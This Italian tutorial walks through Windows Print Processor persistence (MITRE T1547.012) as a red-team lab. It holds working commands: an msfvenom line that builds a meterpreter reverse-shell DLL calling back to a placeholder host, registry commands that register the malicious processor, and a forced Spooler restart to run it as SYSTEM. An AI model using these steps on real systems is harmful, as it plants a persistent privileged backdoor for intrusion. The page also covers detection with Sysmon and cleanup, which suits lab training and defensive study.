Persistenza via Print Processor: Print Processors (T1547.012)

La tecnica Print Processors sfrutta un meccanismo legittimo del servizio Print Spooler di Windows per caricare DLL arbitrarie con privilegi SYSTEM durante l'avvio del sistema. Il servizio spoolsv.exe carica automaticamente al boot tutte le DLL registrate come print processor, offrendo agli avversari un vettore elegante di persistenza nascosto in un componente di sistema raramente monitorato.

Questa tecnica si colloca in due tattiche distinte della kill chain. La prima è Persistence (TA0003): il print processor malevolo sopravvive a riavvii e aggiornamenti delle credenziali, perché viene caricato automaticamente dal servizio spooler a ogni boot. La seconda è Privilege Escalation (TA0004): poiché spoolsv.exe gira come SYSTEM, qualsiasi DLL caricata come print processor eredita automaticamente quei privilegi, trasformando un accesso utente con SeLoadDriverPrivilege in esecuzione a livello SYSTEM.

L'installazione può avvenire in due modi: tramite la chiamata API AddPrintProcessor — che richiede un account con privilegio SeLoadDriverPrivilege — oppure scrivendo direttamente una chiave nel ramo Registry HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\. Il payload deve risiedere nella directory dedicata ai print processor, ottenibile tramite GetPrintProcessorDirectory. I dati documentano 1 gruppo APT, 2 famiglie malware e 1 mitigazione associata a questa tecnica.

L'obiettivo in laboratorio è dimostrare che un attaccante con accesso amministrativo locale può installare un print processor malevolo e ottenere esecuzione SYSTEM-level al riavvio dello spooler. L'intero esercizio si articola in tre fasi: preparazione del payload, registrazione del processor e trigger dell'esecuzione.

Fase 1 — Identificare la directory target. Il payload deve trovarsi nella cartella dei print processor di sistema. Da PowerShell con privilegi elevati, puoi individuarla con un approccio pratico:

Get-ChildItem "C:\Windows\System32\spool\prtprocs\x64"

Nella maggior parte delle installazioni Windows x64 il percorso è C:\Windows\System32\spool\prtprocs\x64\. Qui risiedono i print processor legittimi come winprint.dll. Copia il tuo payload DLL in questa directory — durante un red team engagement, una DLL compilata con msfvenom (open source, parte di Metasploit Framework) è sufficiente per il PoC:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORTA> -f dll -o evilprint.dll

Copia poi il file nella directory target:

*copy evilprint.dll C:\Windows\System32\spool\prtprocs\x64*

Fase 2 — Registrare il print processor via Registry. Questa è la tecnica usata da Earth Lusca nella sua campagna documentata. Da prompt amministrativo:

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\EvilProc" /v Driver /t REG_SZ /d "evilprint.dll" /f

In alternativa, da PowerShell:

New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\EvilProc" -Name "Driver" -Value "evilprint.dll" -PropertyType String

Fase 3 — Trigger. Il processor viene caricato al riavvio del servizio spooler. Per forzarlo senza reboot completo:

Restart-Service Spooler -Force

Dopo il restart, verifica che spoolsv.exe abbia caricato la DLL usando Process Explorer (gratuito, Sysinternals) o con Sysmon (gratuito, Sysinternals) configurato per loggare EventID 7 (Image Loaded). Per la validazione di cleanup, rimuovi la chiave Registry e la DLL dal percorso.

Un'alternativa più sofisticata prevede l'uso diretto della API AddPrintProcessor tramite un tool C/C++ custom. Il repository SharpPrintNightmare (open source) contiene codice di riferimento per interagire con le API di stampa di Windows, utile come base per sviluppare il proprio PoC.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo

We use cookies

Utilizziamo i cookie sul nostro sito Web. Alcuni di essi sono essenziali per il funzionamento del sito, mentre altri ci aiutano a migliorare questo sito e l'esperienza dell'utente (cookie di tracciamento). Puoi decidere tu stesso se consentire o meno i cookie. Ti preghiamo di notare che se li rifiuti, potresti non essere in grado di utilizzare tutte le funzionalità del sito.